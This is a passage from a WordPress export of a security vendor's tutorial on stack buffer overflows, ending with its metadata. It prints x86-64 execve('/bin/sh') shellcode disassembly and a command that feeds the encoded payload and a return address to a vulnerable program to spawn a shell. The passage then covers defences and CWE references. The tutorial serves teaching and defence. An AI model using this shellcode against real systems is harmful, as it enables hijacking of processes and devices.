\u00a0 \u00a0 \u00a0 \u00a0xor \u00a0 \u00a0%rdx,%rdx<br \/>\n401764: \u00a0 \u00a0 \u00a0 48 89 e6 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0%rsp,%rsi<br \/>\n401767: \u00a0 \u00a0 \u00a0 48 89 df \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0%rbx,%rdi<br \/>\n40176a: \u00a0 \u00a0 \u00a0 48 31 c0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0xor \u00a0 \u00a0%rax,%rax<br \/>\n40176d: \u00a0 \u00a0 \u00a0 48 83 c0 3b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 add \u00a0 \u00a0$0x3b,%rax<br \/>\n401771: \u00a0 \u00a0 \u00a0 0f 05 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 syscall<br \/>\n401773: \u00a0 \u00a0 \u00a0 48 83 c4 20 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 add \u00a0 \u00a0$0x20,%rsp<br \/>\n401777: \u00a0 \u00a0 \u00a0 48 31 ff \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0xor \u00a0 \u00a0%rdi,%rdi<br \/>\n40177a: \u00a0 \u00a0 \u00a0 48 31 c0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0xor \u00a0 \u00a0%rax,%rax<br \/>\n40177d: \u00a0 \u00a0 \u00a0 48 83 c0 3c \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 add \u00a0 \u00a0$0x3c,%rax<br \/>\n401781: \u00a0 \u00a0 \u00a0 0f 05 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 syscall<\/p>\n<\/div><\/div><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-12 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-15\"><p>Please note that the exact assembly instructions and their corresponding hexadecimal representation will vary by the target operating system and CPU Instruction Set Architecture. In this case, I am running this sample on x86 processor and Linux.<\/p>\n<p>In any case, concatenating this hexadecimal representation together lets us create our payload. I have also appended some extra bytes, including the memory address which points back to the start of the overflowed buffer:<\/p>\n<\/div><\/div><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-13 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-color:#000000;--awb-bg-color-hover:#000000;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\" data-scroll-devices=\"small-visibility,medium-visibility,large-visibility\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-16\" style=\"--awb-font-size:10.5px;--awb-text-color:#ffffff;--awb-margin-left:20px;--awb-text-font-family:Menlo, Consolas, Monaco, &#039;Liberation Mono&#039;, &#039;Lucida Console&#039;, monospace;--awb-text-font-style:normal;--awb-text-font-weight:400;\"><p>$ .\/vulnerable.out &#8220;$(printf &#8220;x48x31xd2x52x48xb8x2fx62x69x6ex2fx2fx73x68x50x48x89xe3x52x53x48x31xd2x48x89xe6x48x89xdfx48<br \/>\nx31xc0x48x83xc0x3bx0fx05x48x83xc4x20x48x31xffx48x31xc0x48x83xc0x3cx0fx05xffxffxffxffxffxff<br \/>\nxffxffxffxffxffxffxffxffxffxffxffxffx40xd8xffxffxffx7f&#8221;)&#8221;<br \/>\nYou entered the payload &#8220;H1\ufffdRH\ufffd\/bin\/\/shPH\ufffd\ufffdRSH1\ufffdH\ufffd\ufffdH\ufffd\ufffdH1\ufffdH\ufffd\ufffd;H\ufffd\ufffd H1\ufffdH1\ufffdH\ufffd\ufffd&lt;\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd@\ufffd\ufffd\ufffd\ufffd&#8221;<br \/>\n$ echo &#8220;I can run anything!&#8221;<br \/>\nI can run anything!<br \/>\n$<\/p>\n<\/div><\/div><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-14 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-17\"><p>This payload overwrites the return address of the call to <em>dangerous_fn<\/em>, pointing it back into our payload. Because our payload contains instructions to open a shell, this lets us hijack the target device. In an OS environment, this lets us (the attacker) gain the same execution privileges as the original process. If this original process was running as <em>root<\/em>, gaining near-full control of the target\u2019s CPU is made possible by crafting a very particular (but still allowed) input payload.<\/p>\n<p>In the embedded world, where an underlying operating system might not be present, the attacker could overflow the stack buffer with their own program (up to the size of the stack). This program could hijack the target embedded device, causing denial of service (DoS), dumping encryption keys to a serial interface, or propagating malware across the OT\/IoT network.<\/p>\n<\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-4 fusion-flex-container has-pattern-background has-mask-background nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap\" style=\"max-width:1872px;margin-left: calc(-4% \/ 2 );margin-right: calc(-4% \/ 2 );\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-15 fusion_builder_column_1_1 1_1 fusion-flex-column\" style=\"--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:1.92%;--awb-margin-bottom-large:20px;--awb-spacing-left-large:1.92%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:1.92%;--awb-spacing-left-medium:1.92%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:1.92%;--awb-spacing-left-small:1.92%;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column\"><div class=\"fusion-text fusion-text-18\"><p><strong>Conclusion<\/strong><\/p>\n<p>Stack-based buffer overflow exploits are protected against by most modern operating systems through the implementation of memory segmentation and other constraints placed on user-space programs, and in modern hardware using a memory-management unit (MMU). To get this exploit working on my Linux installation, I had to make use of <em>mprotect<\/em>. This Linux syscall <a href=\"https:\/\/man7.org\/linux\/man-pages\/man2\/mprotect.2.html\">changes the access protections for the calling process\u2019s memory<\/a>, in my case letting me make stack memory executable. I did not include the source code I used to do this in the previous examples for the sake of simplicity.<\/p>\n<p>Embedded devices (e.g., IoT\/OT, etc.) often do not have such constraints, making them more vulnerable to stack-based buffer overflow attacks. For embedded devices, detecting stack-based buffer overflows can be performed by tools such as <a href=\"https:\/\/objectsecurity.com\">ObjectSecurity&#8217;s BinLens<\/a> (formerly ObjectSecurity OT.AI Platform), which detects memory-violations related to pointer boundaries. Finding such vulnerabilities manually, especially in the case of large firmware images, can prove quite difficult. <a href=\"https:\/\/objectsecurity.com\">ObjectSecurity&#8217;s BinLens<\/a> (formerly ObjectSecurity OT.AI Platform) can aid your effort in mitigating the danger stack-based buffer overflows present to your organization.<\/p>\n<p>If you are a developer, identifying stack-based buffer overflows in your code is crucial. Once identified, various remediations are possible. This includes sanitizing untrusted user input, placing size guards around buffer handling logic, and using safer alternatives to unsafe functions.<\/p>\n<\/div><div class=\"fusion-text fusion-text-19\"><p><strong>Resources<\/strong><\/p>\n<ul>\n<li>You can learn more about CWE-121: Stack-based Buffer Overflow here: <a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/121.html\">https:\/\/cwe.mitre.org\/data\/definitions\/121.html<\/a><\/li>\n<li>Much of the exploits outline in this article are adapted from in <em>Smashing The Stack For Fun and Profit<\/em> here: <a href=\"https:\/\/insecure.org\/stf\/smashstack.html\">https:\/\/insecure.org\/stf\/smashstack.html<\/a><\/li>\n<li>The x86-64bit payload used in the arbitrary code execution example was adapted in-part from here: <a href=\"https:\/\/gist.github.com\/logiconcepts819\/c71c8afb6eb248e267737ac56d5f5258\">https:\/\/gist.github.com\/logiconcepts819\/c71c8afb6eb248e267737ac56d5f5258<\/a><\/li>\n<li>You can learn more about Linux system calls (e.g., <em>execve<\/em>) here: <a href=\"https:\/\/filippo.io\/linux-syscall-table\/\">https:\/\/filippo.io\/linux-syscall-table\/<\/a><\/li>\n<li>GDB can be found here: <a href=\"https:\/\/sourceware.org\/gdb\/\">https:\/\/sourceware.org\/gdb\/<\/a><\/li>\n<li>Objdump can be found here: <a href=\"https:\/\/man7.org\/linux\/man-pages\/man1\/objdump.1.html\">https:\/\/man7.org\/linux\/man-pages\/man1\/objdump.1.html<\/a><\/li>\n<\/ul>\n<\/div><\/div><\/div><\/div><\/div><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":12,"featured_media":5870,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[66,90,89,39,87],"tags":[],"class_list":["post-6351","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-data-security","category-education","category-landingpage","category-ot-ics-cybersecurity","category-tech"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>How can a Stack Buffer Overflow be used to Execute Arbitrary Code? - ObjectSecurity<\/title>\n<meta name=\"robots\" content=\"noindex, follow\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/objectsecurity.com\\\/buffer-overflow\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/objectsecurity.com\\\/buffer-overflow\\\/\"},\"author\":{\"name\":\"Trevor Thomas\",\"@id\":\"https:\\\/\\\/objectsecurity.com\\\/#\\\/schema\\\/person\\\/665107c3e3e3ba9b8ead816f39e8447b\"},\"headline\":\"How can a Stack Buffer Overflow be used to Execute Arbitrary Code?\",\"datePublished\":\"2024-07-15T20:19:01+00:00\",\"dateModified\":\"2024-11-15T23:02:01+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/objectsecurity.com\\\/buffer-overflow\\\/\"},\"wordCount\":14118,\"image\":{\"@id\":\"https:\\\/\\\/objectsecurity.com\\\/buffer-overflow\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/objectsecurity.com\\\/wp-content\\\/uploads\\\/2024\\\/07\\\/Stack-buffer-overflow.png?fit=600%2C337&ssl=1\",\"articleSection\":[\"Data Security\",\"Education\",\"Landing Page\",\"OT\\\/ICS Cybersecurity\",\"Technical\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/objectsecurity.com\\\/buffer-overflow\\\/\",\"url\":\"https:\\\/\\\/objectsecurity.com\\\/buffer-overflow\\\/\",\"name\":\"How can a Stack Buffer Overflow be used to Execute Arbitrary Code? - ObjectSecurity\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/objectsecurity.com\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/objectsecurity.com\\\/buffer-overflow\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/objectsecurity.com\\\/buffer-overflow\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/objectsecurity.com\\\/wp-content\\\/uploads\\\/2024\\\/07\\\/Stack-buffer-overflow.png?fit=600%2C337&ssl=1\",\"datePublished\":\"2024-07-15T20:19:01+00:00\",\"dateModified\":\"2024-11-15T23:02:01+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/objectsecurity.com\\\/#\\\/schema\\\/person\\\/665107c3e3e3ba9b8ead816f39e8447b\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/objectsecurity.com\\\/buffer-overflow\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/objectsecurity.com\\\/buffer-overflow\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/objectsecurity.com\\\/buffer-overflow\\\/#primaryimage\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/objectsecurity.com\\\/wp-content\\\/uploads\\\/2024\\\/07\\\/Stack-buffer-overflow.png?fit=600%2C337&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/objectsecurity.com\\\/wp-content\\\/uploads\\\/2024\\\/07\\\/Stack-buffer-overflow.png?fit=600%2C337&ssl=1\",\"width\":600,\"height\":337},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/objectsecurity.com\\\/buffer-overflow\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/objectsecurity.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"How can a Stack Buffer Overflow be used to Execute Arbitrary Code?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/objectsecurity.com\\\/#website\",\"url\":\"https:\\\/\\\/objectsecurity.com\\\/\",\"name\":\"ObjectSecurity\",\"description\":\"OT\\\/ICS Asset Binary Vulnerability Analysis and Reporting\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/objectsecurity.com\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/objectsecurity.com\\\/#\\\/schema\\\/person\\\/665107c3e3e3ba9b8ead816f39e8447b\",\"name\":\"Trevor Thomas\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/901c48181bca80dcaec365dcd935b0e3b8f5de81693c7816c1b4280ba7fe0f08?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/901c48181bca80dcaec365dcd935b0e3b8f5de81693c7816c1b4280ba7fe0f08?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/901c48181bca80dcaec365dcd935b0e3b8f5de81693c7816c1b4280ba7fe0f08?s=96&d=mm&r=g\",\"caption\":\"Trevor Thomas\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"How can a Stack Buffer Overflow be used to Execute Arbitrary Code? - ObjectSecurity","robots":{"index":"noindex","follow":"follow"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/objectsecurity.com\/buffer-overflow\/#article","isPartOf":{"@id":"https:\/\/objectsecurity.com\/buffer-overflow\/"},"author":{"name":"Trevor Thomas","@id":"https:\/\/objectsecurity.com\/#\/schema\/person\/665107c3e3e3ba9b8ead816f39e8447b"},"headline":"How can a Stack Buffer Overflow be used to Execute Arbitrary Code?","datePublished":"2024-07-15T20:19:01+00:00","dateModified":"2024-11-15T23:02:01+00:00","mainEntityOfPage":{"@id":"https:\/\/objectsecurity.com\/buffer-overflow\/"},"wordCount":14118,"image":{"@id":"https:\/\/objectsecurity.com\/buffer-overflow\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/objectsecurity.com\/wp-content\/uploads\/2024\/07\/Stack-buffer-overflow.png?fit=600%2C337&ssl=1","articleSection":["Data Security","Education","Landing Page","OT\/ICS Cybersecurity","Technical"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/objectsecurity.com\/buffer-overflow\/","url":"https:\/\/objectsecurity.com\/buffer-overflow\/","name":"How can a Stack Buffer Overflow be used to Execute Arbitrary Code? - ObjectSecurity","isPartOf":{"@id":"https:\/\/objectsecurity.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/objectsecurity.com\/buffer-overflow\/#primaryimage"},"image":{"@id":"https:\/\/objectsecurity.com\/buffer-overflow\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/objectsecurity.com\/wp-content\/uploads\/2024\/07\/Stack-buffer-overflow.png?fit=600%2C337&ssl=1","datePublished":"2024-07-15T20:19:01+00:00","dateModified":"2024-11-15T23:02:01+00:00","author":{"@id":"https:\/\/objectsecurity.com\/#\/schema\/person\/665107c3e3e3ba9b8ead816f39e8447b"},"breadcrumb":{"@id":"https:\/\/objectsecurity.com\/buffer-overflow\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/objectsecurity.com\/buffer-overflow\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/objectsecurity.com\/buffer-overflow\/#primaryimage","url":"https:\/\/i0.wp.com\/objectsecurity.com\/wp-content\/uploads\/2024\/07\/Stack-buffer-overflow.png?fit=600%2C337&ssl=1","contentUrl":"https:\/\/i0.wp.com\/objectsecurity.com\/wp-content\/uploads\/2024\/07\/Stack-buffer-overflow.png?fit=600%2C337&ssl=1","width":600,"height":337},{"@type":"BreadcrumbList","@id":"https:\/\/objectsecurity.com\/buffer-overflow\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/objectsecurity.com\/"},{"@type":"ListItem","position":2,"name":"How can a Stack Buffer Overflow be used to Execute Arbitrary Code?"}]},{"@type":"WebSite","@id":"https:\/\/objectsecurity.com\/#website","url":"https:\/\/objectsecurity.com\/","name":"ObjectSecurity","description":"OT\/ICS Asset Binary Vulnerability Analysis and Reporting","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/objectsecurity.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/objectsecurity.com\/#\/schema\/person\/665107c3e3e3ba9b8ead816f39e8447b","name":"Trevor Thomas","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/901c48181bca80dcaec365dcd935b0e3b8f5de81693c7816c1b4280ba7fe0f08?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/901c48181bca80dcaec365dcd935b0e3b8f5de81693c7816c1b4280ba7fe0f08?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/901c48181bca80dcaec365dcd935b0e3b8f5de81693c7816c1b4280ba7fe0f08?s=96&d=mm&r=g","caption":"Trevor Thomas"}}]}},"jetpack_featured_media_url":"https:\/\/i0.wp.com\/objectsecurity.com\/wp-content\/uploads\/2024\/07\/Stack-buffer-overflow.png?fit=600%2C337&ssl=1","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/objectsecurity.com\/wp-json\/wp\/v2\/posts\/6351","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/objectsecurity.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/objectsecurity.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/objectsecurity.com\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/objectsecurity.com\/wp-json\/wp\/v2\/comments?post=6351"}],"version-history":[{"count":2,"href":"https:\/\/objectsecurity.com\/wp-json\/wp\/v2\/posts\/6351\/revisions"}],"predecessor-version":[{"id":6591,"href":"https:\/\/objectsecurity.com\/wp-json\/wp\/v2\/posts\/6351\/revisions\/6591"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/objectsecurity.com\/wp-json\/wp\/v2\/media\/5870"}],"wp:attachment":[{"href":"https:\/\/objectsecurity.com\/wp-json\/wp\/v2\/media?parent=6351"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/objectsecurity.com\/wp-json\/wp\/v2\/categories?post=6351"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/objectsecurity.com\/wp-json\/wp\/v2\/tags?post=6351"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}